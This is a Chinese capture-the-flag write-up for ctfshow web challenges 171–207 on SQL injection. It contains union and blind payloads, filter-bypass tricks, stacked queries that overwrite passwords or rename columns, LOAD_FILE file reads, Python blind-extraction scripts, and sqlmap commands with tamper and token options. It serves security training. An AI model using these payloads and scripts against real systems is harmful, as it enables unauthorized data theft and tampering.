【ctfshow】web篇-SQL注入 wp

前言

记录web的题目wp,慢慢变强,铸剑。

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
//拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 
  • GET传参会自己解码,注释可以用%23(#), --空格,–+等,或者拼接语句不用注释也行
【ctfshow】web篇-SQL注入 wp
  • 判断有3个字段
1' order by 3--+ 
【ctfshow】web篇-SQL注入 wp
  • 联合查询,查表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 
【ctfshow】web篇-SQL注入 wp
  • 查字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+ 
【ctfshow】web篇-SQL注入 wp
  • 查flag
1' union select 1,2,password from ctfshow_user --+ 
【ctfshow】web篇-SQL注入 wp

web172

//检查结果是否有flag     if($row->username!=='flag'){       $ret['msg']='查询成功';     } 
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1' union select 1,password from ctfshow_user2--+ 

web173

  • 和上题一样
1' union select 1,2,password from ctfshow_user3--+ 

web174

//检查结果是否有flag     if(!preg_match('/flag|[0-9]/i', json_encode($ret))){       $ret['msg']='查询成功';     }        
  • 过滤了数字,考察replace的运用,先判断有几个字段
1' order by 2 %23 
【ctfshow】web篇-SQL注入 wp
  • 联合函数添加a和b两个数据ok
【ctfshow】web篇-SQL注入 wp
  • 先构造一个replace将0-9全部置换
 select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ'); 
【ctfshow】web篇-SQL注入 wp
  • 查表构造语句将1-0换成table_name
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23 
【ctfshow】web篇-SQL注入 wp
  • 查字段名
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23 
【ctfshow】web篇-SQL注入 wp
  • 查结果
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+ 
【ctfshow】web篇-SQL注入 wp
  • 写个小py来转换一下
import requests    flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'  flag='' flag = flag + flagstr.replace('numA','1').     replace('numB','2')     .replace('numC','3')     .replace('numD','4')     .replace('numE','5')     .replace('numF','6')     .replace('numG','7')     .replace('numH','8')     .replace('numI','9')     .replace('numJ','0')    print(flag) 
【ctfshow】web篇-SQL注入 wp

web175

//检查结果是否有flag     if(!preg_match('/[x00-x7f]/i', json_encode($ret))){       $ret['msg']='查询成功';     } 
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests import time url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php" dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag ="" for i in range(1,50):     for j in dict:         payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username="flag"),{i},1)="{j}",sleep(3),0)--+"         res_get = url + payload         start = time.time()         res = requests.get(url=res_get)         end = time.time()         if end-start > 3:             flag = flag + j             print(flag)             break 
【ctfshow】web篇-SQL注入 wp

web176

  • 发现是对select的过滤,但是没有过滤大小写
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+ 
  • 字段
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+ 
  • 查flag
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+ 
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1' or 1=1--+ 
【ctfshow】web篇-SQL注入 wp

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1'or(1=1)%23 
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23 

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23 

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23 

web180

  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1.1'or(id='26')and'1=1 

这个拼接之后的语句就是

select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1limit 1; 
id='1.1'or(id=26)and'1=1' limit 1; 也就是 (id='1.1') or ((id=26) and '1=1') limit 1; 前面因为1.1不存在为0,后面为1,所以整个条件为1 

web181

  • 和上题一样
1.1'or(id=26)and'a'='a 

web182

  • 和上题一样
1.1'or(id=26)and'a'='a 

web183

//拼接sql语句查找指定ID用户   $sql = "select count(pass) from ".$_POST['tableName'].";"; 
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参
【ctfshow】web篇-SQL注入 wp
  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/4/8 21:24 # blog: gylq.gitee.io import requests  url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):     print('[*] 开始盲注第{}位'.format(i))     for j in str:         data = {             "tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)         }         res = requests.post(url,data)         if res.text.find("$user_count = 1")>0:             flag += j             print(flag)             if j=="}":                 print('[*] flag is {}'.format(flag))                 exit()             break   
【ctfshow】web篇-SQL注入 wp

web184

  • 这把过滤了where,我们用右连接来做
ctfshow% 的十六进制 为 0x63746673686F7725 
  • 所以用他来匹配like,放出了空格
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725 
  • 写个py来跑flag
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 21:24 # blog: gylq.gitee.io import requests import binascii  def to_hex(s):     #转十六进制     str_16 = binascii.b2a_hex(s.encode('utf-8'))     res = bytes.decode(str_16)     return res  url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):      print('[*] 开始盲注第{}位'.format(i))      for j in str:         result = "0x" + to_hex(flag + j + "%")         data = {              "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)         }         res = requests.post(url,data)         if "$user_count = 43" in res.text:              flag += j              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  # tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725 
【ctfshow】web篇-SQL注入 wp

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

select true+true; 结果是2 所以我们构造数字c来进行like匹配 

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

【ctfshow】web篇-SQL注入 wp
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)) 
【ctfshow】web篇-SQL注入 wp

页面可以正常回显,代码跑起py

#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/4/8 21:24 # blog: gylq.gitee.io import requests import binascii  def createNum(n):     num='true'     if n==1:         return "true"     else:         for i in range(n-1):             num+="+true"     return num  #把每一个字符转换成ascii码对应的数值 def change_str(s):     str=""     str+="char("+createNum(ord(s[0]))+")"     for i in s[1:]:         str+=",char("+createNum(ord(i))+")"     return str   url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  flag = "ctfshow" for i in range(0,666):       print('[*] 开始盲注第{}位'.format(i))       for j in str:         result = change_str(flag + j + "%")         data = {               "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)         }         res = requests.post(url,data)         if "$user_count = 43" in res.text:              flag += j              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  
【ctfshow】web篇-SQL注入 wp

web186

  • 和上一题一样
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests import binascii  def createNum(n):     num='true'     if n==1:         return "true"     else:         for i in range(n-1):             num+="+true"     return num  #把每一个字符转换成ascii码对应的数值 def change_str(s):     str=""     str+="char("+createNum(ord(s[0]))+")"     for i in s[1:]:         str+=",char("+createNum(ord(i))+")"     return str   url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"  flag = "ctfshow" for i in range(0,666):       print('[*] 开始盲注第{}位'.format(i))       for j in str:         result = change_str(flag + j + "%")         data = {               "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)         }         res = requests.post(url,data)         if "$user_count = 43" in res.text:              flag += j              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  
【ctfshow】web篇-SQL注入 wp

web187

$username = $_POST['username']; $password = md5($_POST['password'],true);  //只有admin可以获得flag if($username!='admin'){ 	$ret['msg']='用户名不存在';    die(json_encode($ret)); } 
  • 登陆窗口,看返回逻辑

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

【ctfshow】web篇-SQL注入 wp

网上有一个字符串ffifdyop很特殊

echo md5("ffifdyop",true); //结果 'or'6]��!r,��b  刚好成万能密码   password=''or true 
【ctfshow】web篇-SQL注入 wp

web188

 $sql = "select pass from ctfshow_user where username = {$username}";  //密码判断   if($row['pass']==intval($password)){       $ret['msg']='登陆成功';       array_push($ret['data'], array('flag'=>$flag));     } 

可以看到是通过username来列出密码,然后弱比较来进行判断payload

username=0&password=0 

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

username=1||1&password=0 

web189

因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“u67e5u8be2u5931u8d25”判断是否存在,写个payload

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/4/8 21:24 # blog: gylq.gitee.io import requests url = "http://e89f25b2-8acb-4c79-8368-56f445f77e6c.challenge.ctf.show:8080/api/index.php" str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{" payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"  for i in range(666):     print('[*] 开始盲注第{}位'.format(i))     for j in str:         data={             "username":payload.format(flag + j),             "password":0         }         res = requests.post(url,data)         if r"u67e5u8be2u5931u8d25" in res.text:             flag += j             print(flag)             break         if j=='}':             print('[*] flag is {}'.format(flag))             exit() 
【ctfshow】web篇-SQL注入 wp

web190

经典盲注,脚本跑

#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/" str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?|" flag = "" #查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#" #查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#" payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#" n=0 # admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)# for i in range(0,666):       for j in str:         data = {               "username":payload.format(i,j),               "password":123456         }         res = requests.post(url,data)         if r"u5bc6u7801u9519u8bef" in res.text:              flag += j              n+=1              print('[*] 开始盲注第{}位'.format(n))              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break 
【ctfshow】web篇-SQL注入 wp

web191

  • 和上题一样,过滤了ascii等,不过我写的payload没用
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/" str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?|" flag = "" #查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#" #查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#" payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#" n=0 # admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)# for i in range(0,666):       for j in str:         data = {               "username":payload.format(i,j),               "password":123456         }         res = requests.post(url,data)         if r"u5bc6u7801u9519u8bef" in res.text:              flag += j              n+=1              print('[*] 开始盲注第{}位'.format(n))              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break 
【ctfshow】web篇-SQL注入 wp

web192

  • 和上题一样,没办=号,我们依旧潇洒
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://8ab877db-cd5c-424f-bb9c-0f54ba6447c7.challenge.ctf.show:8080/api/" str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?|" flag = "" #查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#" #查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#" payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#" n=0 # admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)# for i in range(0,666):       for j in str:         data = {               "username":payload.format(i,j),               "password":123456         }         res = requests.post(url,data)         if "密码错误" in res.json()['msg']:              flag += j              n+=1              print('[*] 开始盲注第{}位'.format(n))              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  

web193

  • 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://131ffba2-a367-4469-8421-e4c0d9877e37.challenge.ctf.show:8080/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = "" #查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#" #查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#" payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#" n=0 # admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)# for i in range(0,666):       for j in str:         data = {               "username":payload.format(flag+j),               "password":123456         }         res = requests.post(url,data)         if "密码错误" in res.json()['msg']:              flag += j              n+=1              print('[*] 开始盲注第{}位'.format(n))              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  
【ctfshow】web篇-SQL注入 wp

web194

  • 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://8f2766ad-af45-441e-b247-7a526b3d150f.challenge.ctf.show:8080/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = "" #查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#" #查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#" payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#" n=0 # admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)# for i in range(0,666):       for j in str:         data = {               "username":payload.format(flag+j),               "password":123456         }         res = requests.post(url,data)         if "密码错误" in res.json()['msg']:              flag += j              n+=1              print('[*] 开始盲注第{}位'.format(n))              print(flag)              if j=="}":                  print('[*] flag is {}'.format(flag))                  exit()              break  
【ctfshow】web篇-SQL注入 wp

web195

    //拼接sql语句查找指定ID用户   $sql = "select pass from ctfshow_user where username = {$username};";      //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧   if(preg_match('/ |*|x09|x0a|x0b|x0c|x0d|xa0|x00|#|x23|'|"|select|union|or|and|x26|x7c|file|into/i', $username)){     $ret['msg']='用户名非法';     die(json_encode($ret));   } 
  • 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行

payload

0x61646d696e;update`ctfshow_user`set`pass`=123456 

接着用0x61646d696e,123456登陆就行

【ctfshow】web篇-SQL注入 wp

web196

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧   if(preg_match('/ |*|x09|x0a|x0b|x0c|x0d|xa0|x00|#|x23|'|"|select|union|or|and|x26|x7c|file|into/i', $username)){     $ret['msg']='用户名非法';     die(json_encode($ret));   }    if(strlen($username)>16){     $ret['msg']='用户名不能超过16个字符';     die(json_encode($ret));   } 

多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用

  • payload
username:1;select(1) password:1 
【ctfshow】web篇-SQL注入 wp

web197

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧   if('/*|#|-|x23|'|"|union|or|and|x26|x7c|file|into|select|update|set//i', $username)){     $ret['msg']='用户名非法';     die(json_encode($ret));   }    if($row[0]==$password){       $ret['msg']="登陆成功 flag is $flag";   }        

这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag

username:520;show tables password:ctfshow_user 

web198

  • 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
#-- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/30 # blog: gylq.gitee.io import requests url = "http://86f793a3-65c1-4974-8b76-8276d42d488c.challenge.ctf.show:8080/api/" payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);' data1 = {     'username': payload,     'password': '1' } res = requests.post(url,data1)  for i in range(99):     data2 = {         'username': "0x61646d696e",         'password': '{}'.format(i)     }     res2 = requests.post(url,data2)     if "flag" in res2.json()['msg']:         print(res2.json()['msg'])         break 

web199

  • 不变197做法
【ctfshow】web篇-SQL注入 wp

web200

和上题一样

【ctfshow】web篇-SQL注入 wp

web201

  • 提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3
【ctfshow】web篇-SQL注入 wp

payload

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs 

或者 level 3

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs 

查表

python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables 

查字段

sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns 

查flag

sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'" 
【ctfshow】web篇-SQL注入 wp

web202

  • 就是用–data指定post传参

payload

sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch  --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'" 

web203

  • 将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单
sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'" 

web204

  • 提示传递cookie,抓包拿
sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"  -v 5  --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" 

web205

  • 要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现
【ctfshow】web篇-SQL注入 wp

sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下 --safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数 

payload

sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump 

web206

  • 和上题一样做法,就是换了字段名
sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1  -D ctfshow_web -T  ctfshow_flaxc -C flagv --dump 

web207

  • tamper的初体验,看到过滤了空格

遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

举例如下tamper脚本:  apostrophemask.py 用utf8代替引号  equaltolike.py MSSQL * SQLite中like 代替等号  greatest.py MySQL中绕过过滤’>,用GREATEST替换大于号  space2hash.py 空格替换为#号 随机字符串 以及换行符  space2comment.py 用/**/代替空格  apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号  halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论  space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符  appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码  ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤  space2mssqlblank.py mssql空格替换为其它空符号  base64encode.py 用base64编码  space2mssqlhash.py mssql查询中替换空格  modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释  space2mysqlblank.py mysql中空格替换其它空白符号  between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)  space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)  multiplespaces.py 围绕SQL关键字添加多个空格  space2plus.py 用+替换空格  bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=like  nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代  space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集  sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾  chardoubleencode.py 双url编码(不处理以编码的)  unionalltounion.py 替换UNION ALL SELECT UNION SELECT  